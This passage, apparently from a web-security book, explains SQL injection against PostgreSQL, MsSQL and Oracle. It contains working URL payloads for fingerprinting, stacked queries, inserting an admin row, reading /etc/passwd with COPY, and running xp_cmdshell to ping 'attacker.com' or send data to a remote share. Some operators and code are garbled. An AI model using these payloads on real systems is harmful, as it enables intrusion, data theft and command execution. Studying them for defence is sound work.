Other Types of Database Servers

MySQL is one of the most popular database servers used in Web programming. However, you can often notice that scripts available using HTTP interact with other database servers such as PostgreSQL, MsSQL, and Oracle.

In general, the methods for detecting and exploiting vulnerabilities are the same for all servers. However, variations in syntax and certain restrictions can be encountered .

PostgreSQL

PostgreSQL is a popular database server. It is distributed freely in source code.

Currently, there are distributives for both Unix and Windows. However, originally it was developed for Unix-like operating systems. Perhaps, this is why PostgreSQL is less popular than MySQL. Nevertheless, this database server is often encountered in Web systems.

Detecting PostgreSQL

Suppose the attacker has found the SQL injection vulnerability in a script. If error messages are displayed, he or she is likely to determine the database server.

However, if the output of error messages is disabled, the attacker will have to do some research.

PostgreSQL can be easily detected by embedding specific functions and operators. There are the following:

• % The remainder of division

• ^ The exponentiation function

• / The square root

• / The cubic root

• ! The factorial operator

• !! The prefix factorial operator

• cbrt() The cubic root

• sign() The sign of a number

• radians() The conversion from degrees to radians

• pow() The exponentiation function

If there is SQL injection and embedding these functions and operators doesn't cause errors, the attacker can be sure that the script interacts with the PostgreSQL database server.

Suppose that the SQL injection vulnerability takes place after the WHERE keyword. I have demonstrated the methods for detecting this vulnerability regardless of the SQL server.

Suppose that the SQL injection vulnerability is present in the http://site/id.php?id=1 script. Here are examples of requests that could help the attacker detect whether the script interacts with the PostgreSQL database server:

• http://site/id.php?id= 1

• http://site/id.php?id=2- 1

• http://site/id.php?id=2-5%4

• http://site/id.php?id=9-2^3

• http://site/id.php?id=4-/9

• http://site/id.php?id=4-/27

• http://site/id.php?id=7-3!

• http://site/id.php?id=4-!!3

• http://site/id.php?id=4-cbrt(27)

• http://site/id.php?id=0-sign(-455)

• http://site/id.php?id=2-sign(radians(5))

• http://site/id.php?id=9-pow(2,3)

Missing parentheses in SQL queries resulting from these HTTP requests and the output of HTML pages similar to the first HTTP request will indicate the PostgreSQL database server.

PostgreSQL Features

Suppose the attacker detected the PostgreSQL database server. What can he or she do?

My answer will probably be surprising. As you remember, a successful exploitation of a vulnerability in a MySQL server requires preliminary investigation of a script and a query and subsequent creation of an HTTP request resulting in a malicious SQL query. Nevertheless, the abilities of such a query are restricted.

Well, in PostgreSQL, the SQL injection vulnerability allows the attacker to do everything he or she likes with the access rights of the user who connected to the server.

Warning 

In PostgreSQL, any types of queries can be combined using semicolons. The only restriction is the user's access rights.

Look at PostgreSQL's features more closely.

This is how a double SELECT query looks in the PostgreSQL console: Consider a simple vulnerable script. It displays the results of an SQL query twice, with the pg_fetch_object() and pg_fetch_array() functions:

 <?      $id=$_GET['id'];      if(empty($id))      {        echo "id isn't specified";        exit;      };      $cl=pg_connect ("host=localhost port=5432 dbname=testdb user=      pgsql password=");      $q=pg_query ($cl, "select * from table1 where id=$id");      $n=pg_num_rows($q);      for(=0; $i<$n; $i++)      {        $rl=pg_fetch_object($q, $i);        $r2=pg_fetch_array($q, $c++);        echo "        1) $rl->id : $rl->value <br>        2) $r2[0] : $r2[1]<br><br>";      }    ?> 

Consider how this script responds to various requests.

http://site/p/p1 .php?id=2

 1) 1 : admin 2) 1 : admin 

http://site/p/p1 .php?id=2+OR+1

Warning: pg_query(): Query failed: ERROR: Argument of OR must be type Boolean, not type integer in /usr/local/www/test/p/pl.php on line 9

Warning: pg_num_rows(): supplied argument is not a valid PostgreSQL result resource in /usr/local/www/test/p/pl.php on line 10

http://site/p/p1.php?id=2+OR+TRUE

 1) 1 : admin 2) 1 : admin 1) 2 : admin 2) 2 : admin 1) 3 : user 2) 3 : user 1) 4  superadmin 2) 4  superadmin 

http://site/p/p1.php?id=2+OR+'1'=1

 1) 1 : admin 2) 1 : admin 1) 2 : admin 2) 2 : admin 1) 3 : user 2) 3 : user 1) 4 : superadmin 2) 4 : superadmin 

http://site/p/p1.php?id=2+OR+'1a'=1

Warning: pg_query(): Query failed: ERROR: pg_atoi: error in "lq": can'tparse "q" in /usr/local/www/test/p/pl.php on line 10

Warning: pg_num_rows(): supplied argument is not a valid PostgreSQL result resource in /usr/local/www/test/p/pl.php on line 11

http://site/p/p1.php?id=2+OR+'1a'='1a'

 1) 1 : admin 2) 1 : admin 1) 2 admin 2) 2 : admin 1) 3 : user 2) 3 : user 1) 4 : superadmin 2) 4 : superadmin 

http://site/p/p1.php?id=2;select+*+from+table2

 1) 1 : 2) 1 : root 1) 2 : 2) 2 : guest 

http://site/p/p1.php?id=2+abcd;select+*+from+table2

Warning: pg_query(): Query failed: ERROR: parser: parse error at or near "abcd" at character 33 in /usr/local/www/test/p/pl.php on line 9

Warning: pg_num_rows(): supplied argument is not a valid PostgreSQL result resource in /usr/local/www/test/p/pl.php on line 10

http://site/p/p1 .php?id=2/*

Warning: pg_query(): Query failed: ERROR: parser: unterminated /* comment at or near "/*;" at character 32 in /usr/local/www/test/p/pl.php on line 9

Warning: pg_num_rows(): supplied argument is not a valid PostgreSQL result resource in /usr/local/www/test/p/pl.php on line 10

http://site/p/p1.php?id=2%00abcd

 1) 2 : admin 2) 2 : admin 

http://site/p/p1.php?id=2;select+id, name +as+value+from+table2

 1) 1 : root 2) 1 : root 1) 2 : guest 2) 2 : guest 

http://site/p/p1.php?id=2;select+id,fio+as+value+from+table2

 1) 1 : Administrator 2) 1 : Administrator 1) 2 : Guest account 2) 2 : Guest account 

http://site/p/p1.php?id=2;insert+into+table2+ values(10,'newroot','New+ADMIN',0);select+*+from+table2

 1) 1   : 2) 1 : root 1) 2 : 2) 2 : guest 1) 10 : 2) 10 : newroot 

Thus, the attacker found a few features of PostgreSQL that are useful:

• Numeric values aren't converted to Boolean values. The TRUE and FALSE keywords should be used.

• String values are converted to numeric values only when they represent numbers . Remember, in MySQL any string value can be converted to a numeric type.

• You can use any number of semicolon-separated SELECT queries. However, only the result of the last SELECT query will be passed to the script. In other words, the script will display only the result of the last SELECT query.

• The numbers of the fields in the SELECT queries don't need to be the same.

• If the data in the scripts are retrieved with the pg_fetch_array() function, the parameter names don't need to be the same to display the results on the HTML page. It is sufficient that the numbers of the columns in the query are the same. This is because this function returns an array whose elements are accessible by number.

• If the data in the scripts are retrieved with the pg_fetch_object() function, it is necessary for the corresponding names to be the same. Their order doesn't matter in this case. The required column name in the query result can be specified using the As keyword.

• Any number of queries can be combined, including INSERT and UPDATE . All queries will be executed.

• However, each query in the chain should be syntactically correct and shouldn't return errors.

• Unlike in MySQL, in PostgreSQL it is necessary to close comments with an appropriate sequence; otherwise , an error message will appear.

• However, the right part of a query can be cut using the null character (%00) if it isn't filtered.

Therefore, exploitation of the SQL injection vulnerability is much easier in PostgreSQI than in MySQL.

PostgreSQL and Files

PostgreSQL includes a statement that allows you to exchange data between tables and files. This is the copy statement whose syntax is the following:

 COPY  table  [ (  column  [, ...] ) ]        FROM { '  filename  '  \  stdin }        [ [ WITH ]              [ BINARY ]              [ OIDS ]              [ DELIMITER [ AS ] '  delimiter  ' ]              [ NULL [ AS ] '  null   string  ' ] ]    COPY  table  [ (  column [,  ...] ) ]        TO {  'filename' \  stdout }        [ [ WITH ]              [ BINARY ]              [ OIDS ]              [ DELIMITER [ AS ] '  delimiter'  ]              [ NULL [ AS ]  'null string  ' ] ] 

An investigation revealed the following:

• It is best to copy a file available for reading to a newly-created table consisting of one column.

• When copying, you should specify the name of the table and the name of the column. To obtain the contents of the copied file, just make the SELECT query to this table.

Here is an example of an SQL query that copies a file to a table:

 testdb=# copy table4(val) from '/etc/passwd' ;    COPY    testdb=# 

As in MySQL, the file name should be a string constant between apostrophes or quotation marks. You cannot use expressions.

Here is an example of an SQL query that copies a table to a file:

 testdb=# copy table4 to '/tmp/ee';    COPY    testdb=# 

The attacker needs to create a table and put some malicious data into it (e.g., PHP shell code). Then he or she can make such a query.

In some cases, it will be sufficient to edit a record or add a new record to an existing table.

Note that to copy data from a table to a file, the user who started the PostgreSQL server needs the right to write to this file. In other words, either the file shouldn't exist and the target directory should be available for writing to this user or the file should exist and should be available for writing to this user.

Unlike MySQL, PostgreSQL can rewrite the file if the user possesses necessary rights.

Like MySQL, if a script filters apostrophes or quotation marks and the attacker needs to use them, he or she can call a function that takes ASCII codes and returns the corresponding characters . In PostgreSQL, this function is called chr() . Unlike MySQL's char() function, PostgreSQL's chr() function takes only one code and returns one character, so you need to concatenate the characters.

In PostgreSQL, the concatenation operator is . For example, you can replace the ' ABCD ' string with the chr{65) chr(66) chr(67) chr(68) sequence that returns the same string and doesn't include apostrophes.

Note that this is possible where expressions can be used. Therefore, you cannot use it in a COPY query.

MsSQL

MsSQL is a database used on many Windows servers. Web applications often use this database. As a rule, these are Active Server Page (ASP) scripts, but scripts written in PHP, Perl, and other languages are also possible.

An error message like the following often helps the attacker detect this database:

 Microsoft OLE DB Provider for ODBC Drivers error '80040el4'    [Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation    mark before the character string ''' 

This error message unambiguously indicates the MsSQL server. A few SQL functions implemented in MsSQL can also be used as indication.

As in PostgreSQL, in MsSQL you can combine SQL queries using semicolons.

An unmatched opening comment sequence (/*) causes an error. In some cases, it is possible to cut the right part of a query using the -- sequence.

MsSQL offers a user many more features for interaction with the outer world than MySQL or PostgreSQL. This gives the attacker many possibilities when there is the SQL injection vulnerability.

The INFORMATION SCHEMA system database contains system information about the database. For example, the INFORMATION SCHEMA. TABLES table contains information about all tables on the server. To obtain a list of all tables on the server, the attacker can combine a few queries with the UNION statement.

For example, he or she can make the following request:

http://site/test . asp?id=999999+UNION+SELECT+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES

Alternatively, the attacker can make the following one:

http://site/test . asp?id=999999+UNION+SELECT+NULL,TABLE_NAME,NULL,NULL,NULL,+FROM+INFORMATION_SCHEMA.TABLES

The appropriate number of the NULL column should be found through experimentation. The INFORMATION SCHEMA. COLUMN table contains information about the columns of the tables.

In addition, you can execute any system command in MsSQL by calling the stored procedure exec master..xp_cmdshell "cmd" . Although you cannot obtain the result of this procedure directly, this is a dangerous feature.

If you want to obtain the result of this procedure, you can direct it to the target server. Using this construction, you can change the contents of any file on the server if you possess appropriate access rights.

For example, the attacker can send the following request:

http://site/test.asp?id=99999;+exec+master..xp_cmdshell+"ping+attacker.com";--

In addition, it is possible to send the results of a query, using the network basic input/output system (NetBIOS) protocol, to the attacker's server:

http://site/test . asp?id=99999;exec+master..sp_makewebtask+"\\127.0.0.1\out\out1.txt",+"select+*+from information_schema.tables"

Oracle

Oracle is a powerful database used for complex tasks . However, it is rare in Web programming. So, I won't describe exploitation of SQL injection in Oracle thoroughly. Here are just a few notes.

You cannot combine queries using semicolons. Rather, you should use the UNION or SUBSELECT constructions.

You can make queries such as INSERT , UPDATE , and DELETE .

The most dangerous thing is a set of functions that are procedural language extensions to SQL. More than 1,000 of these functions are supplied with the standard software package.

Using these functions, you can access files and obtain private information.